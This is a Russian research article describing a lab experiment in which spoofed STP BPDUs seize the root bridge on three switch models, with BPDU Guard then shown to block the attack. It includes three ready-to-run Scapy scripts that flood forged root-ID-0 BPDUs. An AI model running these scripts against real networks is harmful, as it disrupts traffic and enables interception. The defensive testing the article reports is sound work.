Главная
АИ #27 (262)
Статьи журнала АИ #27 (262)
Атака на протокол STP: Man in the Middle. Методики тестирования и защиты

Атака на протокол STP: Man in the Middle. Методики тестирования и защиты

Рубрика

Информационные технологии

Ключевые слова

атака Man in the middle
STP
корневой мост
BPDU
MAC-адрес
петля
злоумышленник

Аннотация статьи

В статье исследуется тестирование и защита атаки Man in the Middle на протокол STP. Атака была проведена в экспериментальной среде с целью подмены MAC-адреса на корневом мосте.

Текст статьи

Введение

Протокол STP (Spanning Tree Protocol), – это протокол, обеспечивающий стабильность Ethernet-сетей за счет предотвращения топологических петель и широковещательного шторма.

Актуальность исследования можно обусловить тремя факторами. Во-первых, высокая доступность и простота использования протокола. Практически все сетевые устройства поддерживают STP. А атака Man in the Middle в свою очередь является одной из наиболее распространенных и легко реализуемых атак.

Во-вторых, критичность последствий. Атака Man in the Middle позволяет злоумышленнику перехватить роль корневого моста в топологии. Впоследствии это позволяет перехватить трафик, через атакующую систему. А злоумышленник способен получить конфиденциальную информацию пользователя.

В-третьих, простота исполнения атаки. Далее, в практической части будет продемонстрировано полное описание атаки. Для проведения этой атаки не потребуется сложное оборудование. Нужен только лишь компьютер с установленными библиотеками для Python.

Так и усовершенствованные альтернативы, такие как RSTP или MSTP, с их более разветвленными методами защиты, требуют больше времени и ресурсов. Многие организации и не столь современное ПО и оборудование продолжают пользоваться классическим STP именно из-за его универсальности.

Объектом исследования в данной статье выступает сам протокол STP, а именно, сам порядок установки корневого моста путём обмена служебными кадрами – Bridge Protocol Data Units (BPDU). Эти кадры декларируют атакующую систему как устройство с наивысшим приоритетом (например, Root ID = 0). Легитимные коммутаторы, получая эти «более привлекательные» BPDU, пересчитывают топологию Spanning Tree и начинают направлять трафик, предназначенный для корневого моста, на систему злоумышленника. Это и создает условия для проведения MITM-атаки на канальном уровне.

Целью данной статьи является практическая демонстрация методики проведения STP MITM-атаки с использованием общедоступных инструментов (Python, Scapy) и представление методик защиты сетевого оборудования.

В работе использовались: 3 физический коммутатора, устройство на ОС Альт, устройство на ОС Astra Linux и атакующее устройство на Windows.

1. Протокол Spanning Tree Protocol (STP): Принципы работы и роль корневого моста

Spanning-Tree – это протокол, который работает на коммутаторах и помогает нам устранять петли. Петли создают серьезную проблему в виде возникновения широковещательных штормов, нестабильности таблиц MAC-адресов и дублирования кадров. Spanning Tree Protocol логически преобразовывает физическую топологию сети с петлями в древовидную без петель, путем опускания избыточных интерфейсов, но не отключая их совсем, они остаются в качестве резерва.

Существует сеть с двумя коммутаторами. Они соединены двумя кабелями, чтобы избавиться от единой точки отказа при соединении с помощью одного кабеля. Но с дополнительным кабелем появляется избыточность, которая приводит к петле в сети. Так же к каждому коммутатору подключено устройство. Описанная ситуация представлена на рисунке 1.

image.png

Рис. 1. Образование петли в топологии

H1 отправляет запрос ARP, потому что ищет MAC-адрес H2. Запрос ARP представляет собой широковещательный кадр. SW1 будет пересылать этот широковещательный кадр на все свои интерфейсы, кроме интерфейса, на котором он получил этот кадр. SW2 будет получать оба широковещательных кадра. SW2 же будет пересылать его со всех интерфейсов, кроме того интерфейса, где он и получил этот кадр. Это означает, что кадр, полученный на интерфейсе enp0s3, будет отправлен на интерфейс enp0s8. Кадр, полученный на интерфейсе enp0s8, – на интерфейс enp0s3 и так далее. Так и образовывается петля.

Работа протокола STP основана на обмене Bridge Protocol Data Units (BPDU) между элементами в сети. Это отдельный вид кадров, всего есть два основных типа, каждый из которых выполняет определенную специфическую функцию.

Первый тип это конфигурационные BPDU. Они с определенной регулярностью высылаются всем участникам сети. Эти кадры содержат информацию о состоянии сети, приоритет коммутаторов, стоимости путей и идентификатор корневого моста. Все элементы получают одну и туже информацию в нужное время, это позволяет грамотно использовать ресурсы и предотвращать появление петель.

Второй тип это TCN BPDU. Эти сообщения посылают сигналы тревоги о смене топологии, они автоматически генерируются при изменении топологии сети. Это происходит, когда какой-либо коммутатор подключается или отключается от сети. TCN BPDU служат для уведомления остальных коммутаторов об изменениях.

В BPDU есть 2 важные части информации, которые необходимы связующему дереву. Это MAC-адрес и приоритет, они вместе составляют идентификатор моста (Bridge ID) длиной 8 байт.

Spanning Tree выберет корневой мост по принципу лучшего ID моста, а лучший мост это тот, у которого наименьший идентификатор моста. По умолчанию этот приоритет равен 32768, но также пользователь сам может изменять это значение.

Именно так происходит выбор корневого коммутатора в мостовом дереве. В самом начале выборов каждый коммутатор выставляет себя в качестве потенциального корневого коммутатора и активно пытается занять эту позицию, но с помощью BPDU коммутатор рассылает свои амбиции и затем определяется корень путем сравнения ID. Процесс не завершиться пока не найдется коммутатор с наименьшим Bridge ID, который и окажется корнем.

После выбора корневого моста выбирается корневой порт на каждом некорневом мосте. Это единственный порт, который имеет наилучший путь к Root Bridge. Затем выбираются назначенные порты (Designated port) на каждом сегменте сети. Для каждого сегмента сети (связь между коммутатором и устройством) выбирается один назначенный порт. Этот порт имеет наилучший путь от Root Bridge до корневого сегмента. Путь складывается из стоимости от корня до коммутатора и стоимости сегмента, в случае равенства стоимости пути выбирается коммутатор с наименьшим Bridge ID.

BPDU выполняет функцию некой нервной системы для STP. По умолчанию каждые 2 секунды рассылаются «Hello Time» с назначенных портов и корневого порта. Так же в сообщении есть «Max Age» – время жизни информации, которое по умолчанию 20 секунд. А также «Forward Delay» – время задержки перед переходом порта из состояния слушания в состояние обучения и затем в пересылку (по умолчанию 15 секунд).

2. Атака Man in the Middle

Атака с навязыванием ложного маршрута или «человек посередине» относится к атакам, направленным на перехват информации.

Эта атака возможна, когда в сети есть как минимум два устройства в топологии STP, причём жертвы атаки, трафик между которыми надо перехватить, подключены к разным мостам. Суть данной атаки сводится к тому, чтобы изменить структуру сети таким образом что интересующий атакующего трафик пойдёт через его коммутатор. Для этого коммутатор атакующего должен быть оснащена двумя сетевыми интерфейсами. Один из них подключается к одному сегменту сети, а второй к другому. Атакующий посылает BPDU пакеты инициирующие выборы назначенного моста для каждого сегмента и выигрывает их. Тогда существующий канал между двумя сегментами выключается и весь трафик идёт через коммутатор атакующего. Если эта атака будет производиться на мосты, которые не являются соседними, то атакующему будет необходимо подобрать значения root id.

Такая атака может перегружать CPU, а также способствует либо частичной, либо полной утери пакетов трафика между коммутаторами.

3. Пример атаки на протокол STP

Атака протокола STP: Man in the Middle заключается в перехвате данных между двумя устройствами. На примере будет рассмотрен случай, где злоумышленник подменит корневой мост в сети и полностью перехватит все пакеты.

На первом этапе атаки на протокол необходимо собрать правильную топологию с тремя коммутаторами, подключив их к друг-другу, создав петлю. Будет рассмотрена атака на 3 разных коммутатора. Следовательно, будет 3 однотипных топологии, их различие будет состоять в том к какому коммутатору подключен компьютер злоумышленника, устройства так же соединены треугольником. Эта конфигурации представлена на рисунке 2.

image.png

Рис. 2. Топология для атаки

В первом случае PC злоумышленника подключён к SW1 (Cisco catalyst 2960). Другие два PC связаны через SW2 (Eltex 1428) и SW3 (Mikrotik CRS326-24G-2S). Во втором случае PC злоумышленника будет подключен к Eltex 1428, а в третьем к Mikrotik CRS326-24G-2S. Во всех случаях коммутаторы подключены так, что образуют петлю, что автоматически активирует протокол STP. Физическое подключение коммутаторов для первого случая представлено на рисунках 3–5.

image.png

Рис. 3. Подключение к коммутатору Eltex 1428

image.png

Рис. 4. Подключение к коммутатору Cisco catalyst 2960

image.png

Рис. 5. Подключение к коммутатору Mikrotik CRS326-24G-2S

После установки топологии необходимо зайти в консоль каждого коммутатора, чтобы удостовериться в работе протокола STP. Для этого нужно установить программу Putty, во вкладке serial ввести характеристики speed и порт соединения, в данном случае COM3. После этого получен доступ в консоль коммутатора, где можно проверить состояние STP протокола командой show-spanning-tree. Сделаем это на двух коммутаторах и найдём текущий Root bridge. Это представлено на рисунках 6–7.

image.png

Рис. 6. Состояние STP до атаки на SW3

image.png

Рис. 7. Состояние STP до атаки на SW2

Исходя из полученных данных, можно сделать вывод, что корневым мостом является SW2, это и нужно для проведения эксперимента.

После этого необходимо установить связность между двумя устройствами-жертв. Для этого нужно установить соответствующие адреса на устройства, на PC1 – 192.168.0.1, а на PC2 – 192.168.0.2. Представлено на рисунках 8–9.

image.png

Рис. 8. Установка IP-адреса на PC2

image.png

Рис. 9. Установка IP-адреса на PC1

После этого для проверки связности необходимо отправить пакеты с одного устройства на другое, чтобы убедиться в том, что пакеты доходят. Результат представлен на рисунке 10.

image.png

Рис. 10. Отправка пакетов

На PC злоумышленника необходимо установить соответствующие программы (Ncap), библиотеку-расширение (Scapy), с помощью которых будет совершаться атака посредством запуска скрипта python-Scapy.

Следующим шагом создать скрипт для отправки поддельных BPDU пакетов, при проведении трёх экспериментов мы меняем значения mac и dst под топологию:

from scapy.all import Ether, STP, sendp

import time

iface = "eth0"

mac = "d4:93:90:49:dd:58"

bpdu = Ether (dst="24:01:c7:35:57:80", src=mac) / STP (

 rootid=0,

 rootmac=mac,

 bridgeid=0,

 bridgemac=mac,

 portid=0x8001,

 maxage=20,

 hellotime=2,

 fwddelay=15

)

while True:

 sendp (bpdu, iface=iface, verbose=False)

 print (f"Отправлен BPDU с RootMAC={mac}")

 time.sleep(2)

 

from scapy.all import Ether, STP, sendp

import time

iface = "eth0"

mac = "00:0с:42:a7:b2:1f"

bpdu = Ether (dst="d4:93:90:49:dd:58", src=mac) / STP (

 rootid=0,

 rootmac=mac,

 bridgeid=0,

 bridgemac=mac,

 portid=0x8001,

 maxage=20,

 hellotime=2,

 fwddelay=15

)

while True:

 sendp (bpdu, iface=iface, verbose=False)

 print (f"Отправлен BPDU с RootMAC={mac}")

 time.sleep(2)

 

from scapy.all import Ether, STP, sendp

import time

iface = "eth0"

mac = "24:01:c7:35:57:80"

bpdu = Ether (dst="00:0с:42:a7:b2:1f", src=mac) / STP (

 rootid=0,

 rootmac=mac,

 bridgeid=0,

 bridgemac=mac,

 portid=0x8001,

 maxage=20,

 hellotime=2,

 fwddelay=15

)

while True:

 sendp (bpdu, iface=iface, verbose=False)

 print (f"Отправлен BPDU с RootMAC={mac}")

 time.sleep(2)

 

Результат представлен на рисунках 11–13.

image.png

Рис. 11. Результат работы программы c отправкой ложных BPDU для 1 случая

image.png

Рис. 12. Результат работы программы c отправкой ложных BPDU для 2 случая

image.png

Рис. 13. Результат работы программы c отправкой ложных BPDU для 3 случая

Во время выполнения этой программы корневой мост меняется на необходимый злоумышленнику мост. Последствием станет полная потеря пакетов между PC1 и PC2, а также увеличение загрузки процессора на коммутаторе.

Результат атаки можно зафиксировать несколькими способами. Нужно обратиться в консоль любого коммутатора и прописать show-spanning-tree. Атака будет считаться успешной в том случае, если во время действия скрипта корневой мост поменяется, а он будет с адресом: «d4:93:90:49:dd:58» (для первого случая). Также же сравним предполагаемые результаты второго и третьего эксперимента с помощью таблицы. Результат представлен в таблице 1. Также же можно зафиксировать пиковую загрузку процессора во время атаки и нарисовать график зависимости загрузки от времени проведения атаки. Результат атаки представлен на рисунках 14–17.

image.png

Рис. 14. Поддельный MAC-адрес для первого случая

image.png

Рис. 15. Поддельный MAC-адрес для второго случая

image.png

Рис. 16. Поддельный MAC-адрес для третьего случая

image.png

Рис. 17. Пиковая загрузка процессора

Таблица 1

Сравнение результатов эксперимента

Номер эксперимента

Root id до атаки

Поддельный Root id

1

24:01:c7:35:57:80

d4:93:90:49:dd:58

2

d4:93:90:49:dd:58

00:0с:42:a7:b2:1f

3

00:0с:42:a7:b2:1f

24:01:c7:35:57:80

Для сравнения посмотрим графически на то, как увеличивается загрузка процессора при трёх атаках. Представлено на рисунке 18.

image.png

Рис. 18. Зависимость загрузки процессора от времени

Исходя из конечных данных, проведённую атаку можно считать успешной, во всех трёх случаях мы добились ожидаемого результата. На время действия атаки пакеты будут проходить через корневой мост злоумышленника, а до назначения они доходить не будут.

4. Методика защиты от атаки Man in the Middle

Методика защиты заключается в использовании BPDU Guard – функции протокола STP.

BPDU Guard блокирует порт при получении BPDU. Если порт получает BPDU, он переходит в состояние error-disabled. Порт остаётся в этом состоянии, пока администратор вручную не разблокирует его или не настроит автоматическое восстановление. BPDU Guard можно включить на коммутаторе или для каждого интерфейса. Настраивается BPDU Guard следующими командами в режиме конфигурации интерфейса:

Настройка BPDU Guard:

enable

configure terminal

interface range FastEthernet 0/1-24

spanning-tree portfast

spanning-tree bpduguard enable

end

Результат представлен на рисунках 19–21.

image.png

Рис. 19. Установка portfast в default

image.png

Рис. 20. Установка bpduguard в enable

image.png

Рис. 21. Проверка работы настройки

Проделав точно такие же действия на двух других коммутаторах, стоит проверить атаку на успешность после настройки защиты. Результат представлен на рисунках 22–24 и в таблице 2.

image.png

Рис. 22. Проверка работы атаки после настройки защиты для первого случая

image.png

Рис. 23. Проверка работы атаки после настройки защиты для второго случая

image.png

Рис. 24. Проверка работы атаки после настройки защиты для третьего случая

Таблица 2

Сравнение результатов эксперимента после настройки защиты

Номер эксперимента

Root id до атаки

Root id после атаки

1

24:01:c7:35:57:80

24:01:c7:35:57:80

2

d4:93:90:49:dd:58

24:01:c7:35:57:80

3

00:0с:42:a7:b2:1f

24:01:c7:35:57:80

Исходя из проверок, после применения защиты ни одна атака не сработала, соответственно BPDU Guard является хорошим методом для защиты протокола STP.

Заключение

В ходе проведенного исследования были рассмотрены основные аспекты протокола STP, включая его роль в сетевой инфраструктуре и уязвимости, связанные с корневым мостом. В процессе исследования в экспериментальной среде была проведена атака путём отправки поддельных BPDU сообщений, результаты и последствия атаки были описаны и продемонстрированы в данной статье. Было доказано, что при атаке STP: Man in the Middle последствием становится потеря трафика и перегрузка CPU устройств.

Список литературы

  1. Воробьёв С. Защита промышленных протоколов: часть 1 / С. Воробьёв // СТА. – 2018. – № 3. – С. 22-23.
  2. Дудышев В.Ю. Лабораторный практикум по дисциплине «Организация, принципы построения и функционирования компьютерных сетей» / В.Ю. Дудышев. – Котовск: Тамбовское областное государственное бюджетное образовательное учреждение среднего профессионального образования «Котовский индустриальный техникум», 2015.
  3. Иванов Ю.Б. Сетевые атаки на уровне сетевого доступа модели TCP/IP / Ю.Б. Иванов, И.А. Чубуткин // Cifra. Информационные технологии и телекоммуникации. – 2025.
  4. Клаченков В.А. Анализ атак на локально-вычислительную сеть / В.А. Клаченков, О.Н. Минюк.
  5. Платунова С.М. Ethernet switches L2&L3. Проектирование, настройка, диагностика сетей передачи данных: учебное пособие / С.М. Платунова, И.В. Елисеев, Е.Ю. Авксентьева. – СПб.: НИУ ИТМО, 2018. – 87 с.
  6. Уймин А.Г. Компьютерные сети. L2-технологии: практикум для СПО / А.Г. Уймин. – Саратов, Москва: Профобразование, Ай Пи Ар Медиа, 2024. – 83 с.

Поделиться

167

Чайка Е. Ю., Шкуренков Е. С. Атака на протокол STP: Man in the Middle. Методики тестирования и защиты // Актуальные исследования. 2025. №27 (262). Ч.I. С. 37-49. URL: https://apni.ru/article/12611-ataka-na-protokol-stp-man-in-the-middle-metodiki-testirovaniya-i-zashity

Обнаружили грубую ошибку (плагиат, фальсифицированные данные или иные нарушения научно-издательской этики)? Напишите письмо в редакцию журнала: info@apni.ru

Похожие статьи

Другие статьи из раздела «Информационные технологии»

Все статьи выпуска
Актуальные исследования

#29 (264)

Прием материалов

19 июля - 25 июля

Остался последний день

Размещение PDF-версии журнала

30 июля

Размещение электронной версии статьи

сразу после оплаты

Рассылка печатных экземпляров

13 августа